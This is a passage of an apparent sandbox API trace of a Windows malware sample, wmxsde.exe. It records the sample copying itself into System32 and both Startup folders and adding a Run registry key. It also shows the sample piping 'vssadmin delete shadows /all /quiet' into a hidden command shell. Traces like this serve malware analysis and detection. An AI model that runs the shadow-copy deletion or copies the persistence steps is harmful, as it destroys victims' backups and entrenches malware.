(lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f40 | out: hHeap=0x6a0000) returned 1 [0045.339] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\wmxsde.exe", lpDst=0x707710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\wmxsde.exe") returned 0x1f [0045.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x717718 | out: hHeap=0x6a0000) returned 1 [0045.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x707710 | out: hHeap=0x6a0000) returned 1 [0045.340] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x23de020 [0045.342] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5378 [0045.343] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5378, Size=0x20) returned 0x6deb10 [0045.343] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5288 [0045.343] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5288, Size=0x20) returned 0x6dea70 [0045.343] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.343] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.343] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0045.343] lstrlenW (lpString="kernel32.dll") returned 12 [0045.343] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0045.343] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.343] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea70 | out: hHeap=0x6a0000) returned 1 [0045.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0045.343] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\wmxsde.exe" (normalized: "c:\\windows\\system32\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0045.346] ReadFile (in: hFile=0x240, lpBuffer=0x23de020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.358] WriteFile (in: hFile=0x244, lpBuffer=0x23de020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.361] ReadFile (in: hFile=0x240, lpBuffer=0x23de020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0045.361] CloseHandle (hObject=0x244) returned 1 [0045.364] CloseHandle (hObject=0x240) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5330 [0045.364] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5330, Size=0x20) returned 0x6de7a0 [0045.364] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5210 [0045.364] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5210, Size=0x20) returned 0x6de818 [0045.365] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.365] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.365] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0045.365] lstrlenW (lpString="kernel32.dll") returned 12 [0045.365] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de818 | out: hHeap=0x6a0000) returned 1 [0045.365] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.365] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de7a0 | out: hHeap=0x6a0000) returned 1 [0045.365] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x23de020 | out: hHeap=0x6a0000) returned 1 [0045.369] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e52d0 [0045.369] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e52d0, Size=0x20) returned 0x6de7a0 [0045.369] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de7a0, Size=0x40) returned 0x6ba390 [0045.369] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba390, Size=0x80) returned 0x6e4518 [0045.369] lstrlenW (lpString="C:\\WINDOWS\\System32\\wmxsde.exe") returned 30 [0045.370] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0045.370] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x5c) returned 0x6b7cb0 [0045.370] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0045.370] RegSetValueExW (in: hKey=0x240, lpValueName="wmxsde.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\wmxsde.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\wmxsde.exe") returned 0x0 [0045.370] RegCloseKey (hKey=0x240) returned 0x0 [0045.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7cb0 | out: hHeap=0x6a0000) returned 1 [0045.370] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0045.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4518 | out: hHeap=0x6a0000) returned 1 [0045.370] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x707710 [0045.371] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x717718 [0045.371] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e52e8 [0045.371] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e52e8, Size=0x20) returned 0x6dec28 [0045.371] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec28, Size=0x40) returned 0x6ba2b8 [0045.371] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba2b8, Size=0x80) returned 0x6e4a68 [0045.371] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4a68, Size=0x100) returned 0x6e5f40 [0045.371] lstrlenW (lpString="") returned 0 [0045.371] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.371] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e6048 [0045.371] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0045.371] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x717718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x717718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0045.371] RegCloseKey (hKey=0x240) returned 0x0 [0045.371] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6048 | out: hHeap=0x6a0000) returned 1 [0045.371] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.371] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e6048 [0045.371] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0045.391] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x717718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0045.391] RegCloseKey (hKey=0x244) returned 0x0 [0045.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6048 | out: hHeap=0x6a0000) returned 1 [0045.391] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0045.391] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f40 | out: hHeap=0x6a0000) returned 1 [0045.391] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x707710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x59 [0045.392] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x717718 | out: hHeap=0x6a0000) returned 1 [0045.392] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x707710 | out: hHeap=0x6a0000) returned 1 [0045.393] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x23de020 [0045.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5438 [0045.395] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5438, Size=0x20) returned 0x6dea20 [0045.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e51c8 [0045.395] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e51c8, Size=0x20) returned 0x6de818 [0045.395] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.395] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.395] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0045.395] lstrlenW (lpString="kernel32.dll") returned 12 [0045.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea20 | out: hHeap=0x6a0000) returned 1 [0045.395] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de818 | out: hHeap=0x6a0000) returned 1 [0045.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0045.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0045.412] ReadFile (in: hFile=0x244, lpBuffer=0x23de020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.423] WriteFile (in: hFile=0x248, lpBuffer=0x23de020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.426] ReadFile (in: hFile=0x244, lpBuffer=0x23de020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23de020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0045.426] CloseHandle (hObject=0x248) returned 1 [0045.475] CloseHandle (hObject=0x244) returned 1 [0045.475] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5438 [0045.475] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5438, Size=0x20) returned 0x6dec00 [0045.475] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5300 [0045.475] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5300, Size=0x20) returned 0x6de818 [0045.476] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.476] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.476] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0045.476] lstrlenW (lpString="kernel32.dll") returned 12 [0045.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de818 | out: hHeap=0x6a0000) returned 1 [0045.476] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dec00 | out: hHeap=0x6a0000) returned 1 [0045.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x23de020 | out: hHeap=0x6a0000) returned 1 [0045.481] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x707710 [0045.481] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x717718 [0045.482] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5378 [0045.482] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5378, Size=0x20) returned 0x6de9d0 [0045.482] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de9d0, Size=0x40) returned 0x6ba078 [0045.482] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba078, Size=0x80) returned 0x6e46b0 [0045.482] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e46b0, Size=0x100) returned 0x6e5f40 [0045.482] lstrlenW (lpString="") returned 0 [0045.482] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.482] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e6048 [0045.482] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0045.482] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x717718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0045.482] RegCloseKey (hKey=0x244) returned 0x0 [0045.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6048 | out: hHeap=0x6a0000) returned 1 [0045.482] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0045.482] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f40 | out: hHeap=0x6a0000) returned 1 [0045.482] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpDst=0x707710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe") returned 0x48 [0045.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x717718 | out: hHeap=0x6a0000) returned 1 [0045.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x707710 | out: hHeap=0x6a0000) returned 1 [0045.483] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x23d0020 [0045.486] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5438 [0045.486] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5438, Size=0x20) returned 0x6de868 [0045.486] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e51b0 [0045.486] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e51b0, Size=0x20) returned 0x6deae8 [0045.486] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.486] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.486] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0045.486] lstrlenW (lpString="kernel32.dll") returned 12 [0045.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de868 | out: hHeap=0x6a0000) returned 1 [0045.486] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0045.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0045.486] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0045.554] ReadFile (in: hFile=0x244, lpBuffer=0x23d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.566] WriteFile (in: hFile=0x248, lpBuffer=0x23d0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0045.569] ReadFile (in: hFile=0x244, lpBuffer=0x23d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0045.569] CloseHandle (hObject=0x248) returned 1 [0045.625] CloseHandle (hObject=0x244) returned 1 [0045.625] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5438 [0045.625] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5438, Size=0x20) returned 0x6de980 [0045.625] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e52a0 [0045.625] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e52a0, Size=0x20) returned 0x6de818 [0045.625] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.625] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0045.625] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0045.625] lstrlenW (lpString="kernel32.dll") returned 12 [0045.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de818 | out: hHeap=0x6a0000) returned 1 [0045.626] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0045.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de980 | out: hHeap=0x6a0000) returned 1 [0045.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x23d0020 | out: hHeap=0x6a0000) returned 1 [0045.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7700 | out: hHeap=0x6a0000) returned 1 [0045.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7708 | out: hHeap=0x6a0000) returned 1 [0045.632] lstrlenW (lpString="%windir%\\System32") returned 17 [0045.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9fa0 | out: hHeap=0x6a0000) returned 1 [0045.632] lstrlenW (lpString="%appdata%") returned 9 [0045.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de908 | out: hHeap=0x6a0000) returned 1 [0045.632] lstrlenW (lpString="%sh(Startup)%") returned 13 [0045.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6debd8 | out: hHeap=0x6a0000) returned 1 [0045.632] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0045.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba270 | out: hHeap=0x6a0000) returned 1 [0045.632] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5180 [0045.632] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5180, Size=0x20) returned 0x6dec28 [0045.632] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec28, Size=0x40) returned 0x6ba5d0 [0045.632] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba5d0, Size=0x80) returned 0x6e4e20 [0045.632] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5168 [0045.632] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5168, Size=0x20) returned 0x6dea70 [0045.632] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1fffc) returned 0x6e7700 [0045.633] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x707708 [0045.633] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x717710 [0045.633] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5288 [0045.633] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5288, Size=0x20) returned 0x6dec78 [0045.633] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec78, Size=0x40) returned 0x6ba390 [0045.633] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba390, Size=0x80) returned 0x6e48d0 [0045.633] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e48d0, Size=0x100) returned 0x6e5f40 [0045.633] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f40 | out: hHeap=0x6a0000) returned 1 [0045.633] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x707708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0045.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x717710 | out: hHeap=0x6a0000) returned 1 [0045.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x707708 | out: hHeap=0x6a0000) returned 1 [0045.634] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0045.635] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0045.635] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0045.636] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0045.636] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x7a4, dwThreadId=0x58)) returned 1 [0045.957] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0045.957] WriteFile (in: hFile=0x24c, lpBuffer=0x6e4e20*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6e4e20*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0045.957] CloseHandle (hObject=0x25c) returned 1 [0045.957] CloseHandle (hObject=0x258) returned 1 [0045.957] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7700 | out: hHeap=0x6a0000) returned 1 [0045.958] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0045.958] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4e20 | out: hHeap=0x6a0000) returned 1 [0045.958] lstrlenW (lpString="%comspec%") returned 9 [0045.958] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea70 | out: hHeap=0x6a0000) returned 1 [0045.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0045.958] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e5168 [0045.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6e5168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0045.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e33e0 [0045.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6e33e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0045.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e53f0 [0045.959] RtlReAllocateHeap (Heap=0x6a0000, 